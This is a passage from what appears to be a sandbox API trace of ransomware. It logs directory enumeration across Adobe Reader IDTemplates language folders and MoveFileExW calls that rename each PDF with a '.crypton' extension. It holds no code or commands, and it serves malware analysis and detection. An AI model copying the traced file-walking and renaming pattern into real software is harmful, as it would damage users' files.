10.0\\Reader\\IDTemplates\\DAN\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.689] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd09e0340, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd09e0340, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.772] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0139.781] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0ac4b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0ac4b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0139.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.039] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.046] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0d4c2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0d4c2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.088] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.125] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.131] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0e30b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0e30b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.139] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0e30b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0e30b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.176] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.222] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.230] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0f15360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0f15360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.253] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.260] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0f61620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd0f61620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.307] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd10de3e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd10de3e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.495] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd119cac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd119cac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.507] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.530] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd11e8d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd11e8d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.565] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd1235040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd1235040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.602] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.645] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd1319880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd1319880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.682] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.717] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.723] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd13b1e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd13b1e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.903] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd157ae80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd157ae80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0140.940] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0140.987] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd1639560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd1639560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.016] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.021] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd16ab980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd16ab980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf.crypton"), dwFlags=0x2) returned 1 [0141.156] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd17dc480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd17dc480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0141.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 